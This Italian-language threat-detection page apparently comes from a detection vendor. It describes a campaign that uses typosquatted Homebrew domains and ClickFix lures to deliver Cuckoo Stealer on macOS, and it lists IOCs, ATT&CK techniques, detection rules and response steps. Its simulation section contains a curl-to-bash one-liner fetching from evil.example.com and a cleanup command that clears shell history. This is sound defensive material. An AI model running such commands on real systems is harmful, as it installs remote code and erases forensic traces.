Typosquatting su Homebrew Falsi Usati per Distribuire Cuckoo Stealer tramite ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Il rapporto descrive una campagna che sfrutta domini Homebrew con errori di battitura per indurre gli sviluppatori macOS a eseguire comandi “install” dannosi tramite la tecnica ClickFix. Una one-liner curl appositamente creata invia le vittime a un’infrastruttura controllata dall’attaccante, consegnando un loader per il furto di credenziali seguito dal malware Cuckoo Stealer. Il malware persiste tramite un LaunchAgent, rimuove gli attributi di quarantena ed esfiltra credenziali e dati di portafoglio su HTTPS. La rilevazione dovrebbe concentrarsi sui pattern dei comandi curl e sull’infrastruttura associata.
Indagine
I ricercatori hanno tracciato l’esca iniziale a homabrews.org, risolvendo a 5.255.123.244 nei Paesi Bassi e ospitando piĂą domini simili (incluso raw.homabrews.org usato per la consegna). Lo script scaricato esegue un loop di autenticazione dscl per convalidare le credenziali macOS, quindi recupera un binario chiamato brew_agent. Nella seconda fase, Cuckoo Stealer crea un plist LaunchAgent, rimuove i flag di quarantena e comunica con il C2 usando lo scambio di chiavi X25519 con payload crittografati con XOR. La caccia all’infrastruttura ha rivelato una rete di almeno sei domini che condividono lo stesso IP di hosting.
Mitigazione
Educare gli sviluppatori a verificare gli URL di installazione di Homebrew e a evitare di copiare e incollare comandi non attendibili nel Terminale. Abilitare la registrazione dei comandi da riga e limitare i pattern in cui curl recupera script remoti per l’esecuzione immediata, specialmente gli one-liner “curl | sh”. La protezione degli endpoint dovrebbe allertare sulla creazione sospetta di LaunchAgent e sulla rimozione degli attributi di quarantena. Le difese di rete dovrebbero bloccare i domini dannosi noti e segnalare il traffico verso raw.homabrews.org e host correlati.
Risposta
Quando viene rilevato un comando curl sospetto, isolare l’endpoint, catturare lo script e il binario brew_agent, e raccogliere il plist LaunchAgent per l’analisi. Reimpostare le credenziali rubate e revocare i token compromessi, specialmente per browser, Keychain e portafogli di criptovaluta. Esaminare forensicamente la directory nascosta BrewUpdater, eventuali collegamenti creati e rimuovere i file dannosi. Aggiornare le rilevazioni con gli IOC estratti e monitorare il riutilizzo della stessa infrastruttura.
“graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[“<b>Tecnica</b> – <b>T1659 Iniezione di Contenuti</b><br/><b>Descrizione</b>: L’attaccante ospita una pagina web dannosa che imita un sito legittimo per fornire contenuti dannosi quando un utente la visita.”] class node_A technique node_B[“<b>Tecnica</b> – <b>T1204.004 Esecuzione Utente: Copia & Incolla Dannoso</b><br/><b>Descrizione</b>: La vittima copia un comando creato ad arte da una pagina web e lo esegue in un terminale.”] class node_B technique node_C[“<b>Tecnica</b> – <b>T1059.004 Shell Unix</b><br/><b>Descrizione</b>: Uso di una shell Unix per scaricare ed eseguire uno script di prima fase.”] class node_C technique node_D[“<b>Tecnica</b> – <b>T1555.001 Credenziali dai Repository di Password: Keychain</b><br/><b>Descrizione</b>: Accedere a macOS Keychain per raccogliere credenziali memorizzate.”] class node_D technique node_E[“<b>Tecnica</b> – <b>T1555.003 Credenziali dai Repository di Password: Browser Web</b><br/><b>Descrizione</b>: Estrarre password salvate e cookie dai browser web.”] class node_E technique node_F[“<b>Tecnica</b> – <b>T1539 Rubare Cookie di Sessione Web</b><br/><b>Descrizione</b>: Raccogliere token di sessione attivi da browser ed estensioni.”] class node_F technique node_G[“<b>Tecnica</b> – <b>T1614.001 Scoperta della Lingua di Sistema</b><br/><b>Descrizione</b>: Interrogare la variabile di ambiente LANG per determinare la localizzazione del sistema ed evitare determinate regioni.”] class node_G technique node_H[“<b>Tecnica</b> – <b>T1543.001 Agente di Lancio</b><br/><b>Descrizione</b>: Installare un plist LaunchAgent a livello utente per la persistenza.”] class node_H technique node_I[“<b>Tecnica</b> – <b>T1553.001 Bypass di Gatekeeper</b><br/><b>Descrizione</b>: Rimuovere l’attributo di quarantena con xattr per bypassare il Gatekeeper di macOS.”] class node_I technique node_J[“<b>Tecnica</b> – <b>T1027 File o Informazioni offuscati</b><br/><b>Descrizione</b>: XORu2011crittografare stringhe, payload e configurazioni per nascondere i contenuti dannosi.”] class node_J technique node_K[“<b>Tecnica</b> – <b>T1113 Cattura dello Schermo</b><br/><b>Descrizione</b>: Catturare schermate in modo silenzioso usando l’utilitĂ screencapture.”] class node_K technique node_L[“<b>Tecnica</b> – <b>T1119 Raccolta Automatica</b><br/><b>Descrizione</b>: Raccogliere ricorsivamente portafogli di criptovalute, note, documenti e token di messaggistica.”] class node_L technique node_M[“<b>Tecnica</b> – <b>T1573 Canale Crittografato</b><br/><b>Descrizione</b>: Eseguire lo scambio di chiavi X25519 ECDH per creare un canale C2 crittografato.”] class node_M technique node_N[“<b>Tecnica</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br/><b>Descrizione</b>: Comunicare con il server di comando e controllo tramite HTTPS.”] class node_N technique node_O[“<b>Tecnica</b> – <b>T1041 Esfiltrazione Tramite Canale C2</b><br/><b>Descrizione</b>: Trasferire dati rubati attraverso il canale crittografato.”] class node_O technique node_P[“<b>Tecnica</b> – <b>T1529 Spegnimento/Riavvio del Sistema</b><br/><b>Descrizione</b>: Eseguire un comando di riavvio quando istruito dall’attaccante.”] class node_P technique node_Q[“<b>Tecnica</b> – <b>T1653 Impostazioni Energia</b><br/><b>Descrizione</b>: Attivare un riavvio del sistema per applicare modifiche o interrompere la risposta all’incidente.”] class node_Q technique node_R[“<b>Tecnica</b> – <b>T1070.009 Cancella Persistenza</b><br/><b>Descrizione</b>: Autodistruggersi rimuovendo binari e il plist LaunchAgent.”] class node_R technique node_S[“<b>Tecnica</b> – <b>T1564.014 Nascondi Artefatti: Attributi Estesi</b><br/><b>Descrizione</b>: Rimuovere l’attributo di quarantena per evitare avvisi da Gatekeeper.”] class node_S technique %% Connections showing flow node_A u002du002d>|leads_to| node_B node_B u002du002d>|leads_to| node_C node_C u002du002d>|leads_to| node_D node_C u002du002d>|leads_to| node_E node_C u002du002d>|leads_to| node_F node_C u002du002d>|leads_to| node_G node_C u002du002d>|leads_to| node_H node_H u002du002d>|enables| node_I node_I u002du002d>|enables| node_J node_J u002du002d>|enables| node_K node_K u002du002d>|enables| node_L node_L u002du002d>|enables| node_M node_M u002du002d>|enables| node_N node_N u002du002d>|enables| node_O node_O u002du002d>|enables| node_P node_P u002du002d>|leads_to| node_Q node_Q u002du002d>|leads_to| node_R node_R u002du002d>|leads_to| node_S “
Flusso di Attacco
Rilevazioni
AttivitĂ Sospetta su Keychain (via process_creation)
Visualizza
Modifica Sospetta dei Permessi dei File nella Cartella Tmp di MacOS (via cmdline)
Visualizza
MacOS Sospetto – Posizioni e Nomi dei Plist (via file_event)
Visualizza
Accesso Sospetto a Credenziali Salvate nei Browser su MacOS (via process_creation)
Visualizza
Il Volume di Sistema MacOS è Stato Mutato Usando Osascript (via cmdline)
Visualizza
Possibile Raccolta Tramite Tentativo di Esecuzione di MacOS Screencapture (via cmdline)
Visualizza
Tentativo Sospetto di Esecuzione di Curl [MacOS] (via cmdline)
Visualizza
IOC (HashSha256) da rilevare: Typosquats Falsi di Homebrew Usati per Consegnare Cuckoo Stealer tramite ClickFix
Visualizza
IOC (SourceIP) da rilevare: Typosquats Falsi di Homebrew Usati per Consegnare Cuckoo Stealer tramite ClickFix
Visualizza
IOC (DestinationIP) da rilevare: Typosquats Falsi di Homebrew Usati per Consegnare Cuckoo Stealer tramite ClickFix
Visualizza
Rilevazione del Comando di Installazione MacOS Malevolo via ClickFix [Creazione Processo Linux]
Visualizza
Rilevazione di Dominio con Errori di Digitazione e IP Maligno nella Campagna ClickFix [Indicatori di Rete]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevazione. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirano a generare esattamente la telemetria prevista dalla logica di rilevazione. Esempi astratti o non correlati porteranno a misdiagnosi.
-
Narrativa dell’Attacco & Comandi:
Un attaccante ha ottenuto uno script PowerShell codificato dannoso ospitato su un server C2. Per evitare di scrivere file su disco, l’attaccante fluisce lo script direttamente in una shell Bash usandocurl -fsSLe il-cflag. Il comando viene eseguito interattivamente da un account utente compromesso, imitando un installer “click-fix” legittimo. I passaggi sono:- Risolve l’URL del payload dannoso (e.g.,
https://evil.example.com/payload.sh). - Pipe il download in Bash, istruisce Bash a eseguire il contenuto con
-c. - Il payload esegue il furto di credenziali, crea un file nascosto e poi cancella lo script temporaneo (coprendo T1070.004).
- Risolve l’URL del payload dannoso (e.g.,
-
Script di Test di Regressione:
#!/usr/bin/env bash # ------------------------------------------------- # Simula un installer macOS malevolo (stile ClickFix) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # Fluisce il payload direttamente in Bash con -c curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # Si assume che il payload stesso esegua le sue azioni dannose. # Per lo scopo del test, semplicemente emettiamo un marcatore. echo "Payload dannoso eseguito" -
Comandi di Pulizia:
# Rimuovere eventuali file che potrebbero essere stati creati dal payload rm -f /tmp/payload.sh # Opzionalmente, cancellare la cronologia dei comandi per ridurre le tracce forensi history -c